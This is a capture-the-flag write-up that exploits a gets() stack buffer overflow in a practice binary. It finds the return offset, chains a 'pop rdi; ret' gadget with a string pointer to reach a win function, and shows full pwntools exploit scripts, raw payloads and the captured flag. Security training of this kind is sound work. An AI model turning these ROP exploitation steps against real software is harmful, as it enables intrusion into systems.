This challenge was a pretty fun challenge. It is not too difficult, you just have to understand the concepts of pwn.
Starting off this challenge, you are greeted with vulnerable ``gets()`` function call. This call will allow you to write data to a char array without bounds checking, overflowing the stack. Knowing this, you can keep doing trial and error until you overflow the RIP Register(Instruction Pointer). We can figure out this offset is 12 by trial and error.We can confirm this by adding 6 differnet bytes after the initial offset.And...```pwndbg> rStarting program: /pwn6/hackme AAAAAAAAAAAABBBBBB
Program received signal SIGSEGV, Segmentation fault.0x0000424242424242 in ?? ()```We overrode the Instruction Pointer !but now what?Looking at the code, we can see a win function```cvoid win(char password[20]) {
	if (strcmp(password, "ArcadeAdmin") == 0) {               int fd = open("flag.txt", 0); 	       sendfile(1,fd,0,100);	}exit(0);```
Looking at the function, we notice we have to supply it a parameter equaling the "ArcadeAdmin". Lets see how they check this.Dissasembling the function in GDB,```assembly   0x00000000004011e1 <+8>:	mov    QWORD PTR [rbp-0x18],rdi   0x00000000004011e5 <+12>:	mov    rax,QWORD PTR [rbp-0x18]   0x00000000004011e9 <+16>:	lea    rdx,[rip+0xe14]        # 0x402004   0x00000000004011f0 <+23>:	mov    rsi,rdx   0x00000000004011f3 <+26>:	mov    rdi,rax```We notice that the rdi register is moved into another register, then moved into rax, then compared.So, we have to find a way to get data into RDI, and what better way than using **★ Rop Gadgets ★**.Running rop in pwndbg, we are greeted with a ton of different ROP Gadgets.So, lets do a simple search and find a ``pop rdi; ret`` to pop the top of the stack (because we control it) into the rdi register.```assemblypwndbg> rop --grep "pop rdi ; ret"Saved corefile /tmp/tmpnzjcnmv80x00000000004012fb : pop rdi ; ret```We can now set our RIP register to 0x4012fb, our rop gadget. Now, we have to add the pointer to the "ArcadeAdmin" string (what will be popped into RDI), because we need to have something to pop into RDI.Searching for the string, we find the memory location of it.```assemblypwndbg> search -s "ArcadeAdmin"hackme          0x402004 'ArcadeAdmin'hackme          0x403004 'ArcadeAdmin'```0x402004 is the pointer to the string.To finish off our payload, we just need to call the win function now.```pwndbg> x win0x4011d9 <win>:	0xe5894855```Now we just have to structure our payload, Offset + ROP Gadget + String Pointer + Win function.Making a quick python script to do this, we are at our final payload```pyfrom pwn import *
exe = "./hackme"
elf = context.binary = ELF(exe)
offset = 12
payload = flat({	offset: [		0x4012fb, # ROP Gadget (pop rdi; ret)			0x403004, # ArcadeAdmin String		0x4011d9 #elf.functions.win # win function 	]})
write("payload", payload)print(payload)```Now, we go onto the ssh server and run our payload.```student@CX3-Arcade:/home/student/pwn6$ echo -ne "aaaabaaacaaa\xfb\x12@\x00\x00\x00\x00\x00\x040@\x00\x00\x00\x00\x00\xd9\x11@\x00\x00\x00\x00\x00" | ./hackme Segmentation fault (core dumped)```But wait.. Seg Fault??? Why is this happening.After spending some time debugging my payload, I figured out that the location of the ROP Gadget on the server is different than on my location machine because of the libc version. Running ROPgadget on the server, we can get the location we need to match the same libc version.```student@CX3-Arcade:/home/student/pwn6$ ROPgadget --binary hackme | grep "pop rdi"0x0000000000401303 : pop rdi ; ret```0x401303, a completely different address. Adjusting my payload for this new change, it still didnt work.The win function also had a different address.```gef➤  x win0x4011d6 <win>:	0xfa1e0ff3```After finally adjusting my payload for the last time, I got the flag.```student@CX3-Arcade:/home/student/pwn6$ echo -ne "aaaabaaacaaa\x03\x13@\x00\x00\x00\x00\x00\x040@\x00\x00\x00\x00\x00\xd6\x11@\x00\x00\x00\x00\x00" | ./hackme SAH{PasswordsCantStopYou}```
**Edit:**I remade my entire payload to let pwntools do all the hardwork for us, It is still fun to figure out how it works though```pyfrom pwn import *
p = process("./hackme")elf = context.binary = ELF('./hackme')offset = 12
# Get Rop Gadetsrop = ROP(elf)
payload = flat({    offset: [    rop.rdi.address, #LibC ROP (pop rdi; ret)    next(elf.search(b"ArcadeAdmin")),# ArcadeAdmin String    elf.symbols['win'] # win function    ]})
print("Sending Payload: " + str(payload))write("payload", payload)
# Send payloadp.write(payload)p.interactive()```
Thanks for reading my Writeup on Jumping with Glee
#### Flag``SAH{PasswordsCantStopYou}``